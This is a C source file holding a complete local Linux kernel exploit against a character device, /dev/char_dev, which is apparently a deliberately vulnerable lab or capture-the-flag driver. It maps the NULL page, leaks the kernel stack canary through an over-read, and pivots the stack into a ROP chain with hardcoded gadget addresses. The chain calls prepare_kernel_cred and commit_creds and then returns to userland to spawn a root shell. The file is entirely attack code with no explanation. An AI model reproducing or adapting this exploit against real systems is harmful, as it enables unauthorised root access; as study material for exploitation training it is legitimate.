#include <sys/mman.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <fcntl.h>
#include <signal.h>

uint64_t canary;

const uint64_t prepare_kernel_cred = 0xffffffff810cc140;
const uint64_t commit_creds = 0xffffffff810cbdd0;
const uint64_t pop_rdi = 0xffffffff8104dec1;
const uint64_t xchg = 0xffffffff8110f940; // # xchg rax, rdi; or al, 0; pop rbp; ret;
const uint64_t iretq = 0xffffffff81039a1b;
const uint64_t pop_rsp = 0xffffffff81020360;
const uint64_t swapgs = 0xffffffff81c00a34 + 22;

uint64_t chain[] = {
    pop_rdi,
    0,
    prepare_kernel_cred,
    xchg,
    0,
    commit_creds,
    swapgs,
    0,
    0,
};

unsigned long user_cs, user_ss, user_rflags, user_sp;

void save_state(void)
{
    asm(
        "movq %%cs, %0\n"
        "movq %%ss, %1\n"
        "movq %%rsp, %3;\n"
        "pushfq\n"
        "popq %2\n"
        : "=r"(user_cs), "=r"(user_ss), "=r"(user_rflags), "=r"(user_sp)
        :
        : "memory");
};

void drop_shell() {
    system("/bin/sh");
};


int main()
{
    puts("{!} Stage 1: alloc mem on NULL");
    char *mem = mmap(0, 0x1000, 7, 50, -1, 0);
    printf("{+} Allocated memory address: %p\n", mem);

    if (mem != NULL) {
        puts("{-} Allocation failed!");
        return -1;
    }

    puts("{!} Stage 2: leak kernel stack-cookie");
    int leak = open("/dev/char_dev", O_RDONLY);
    int rop = open("/dev/char_dev", O_RDONLY);
    int f_tmp = open("/dev/char_dev", O_RDONLY);
    close(f_tmp);

    memset(mem, 'X', 47);
    mem[47] = '\n';
    char s[256] = {0};

    read(leak, s, 48);
    memset(mem, 'X', 48);
    mem[48] = '\n';

    read(leak, s, 96);
    memcpy(&canary, &s[1], 8);

    printf("{+} Kernel stack canary: 0x%llx\n", canary);

    puts("{!} Stage 3: stack pivoting and ROP-chain execution");
    memset(mem, '\x00', 48);
    memcpy(&mem[48], &canary, 8);
    memset(&mem[56], '\x00', 48);

    uint64_t stack_pivot_addr = 3500;
    memcpy(&mem[104], &pop_rsp, 8);
    memcpy(&mem[112], &stack_pivot_addr, 8);
    mem[120] = '\n';

    memcpy(&mem[3500], &chain, sizeof(chain));
    save_state();

    uint64_t *context = &mem[3500+sizeof(chain)];
    context[0] = &drop_shell;
    context[1] = user_cs;
    context[2] = user_rflags;
    context[3] = user_sp;
    context[4] = user_ss;
    context[5] = 10;

    read(rop, s, 96);

    return 0;
}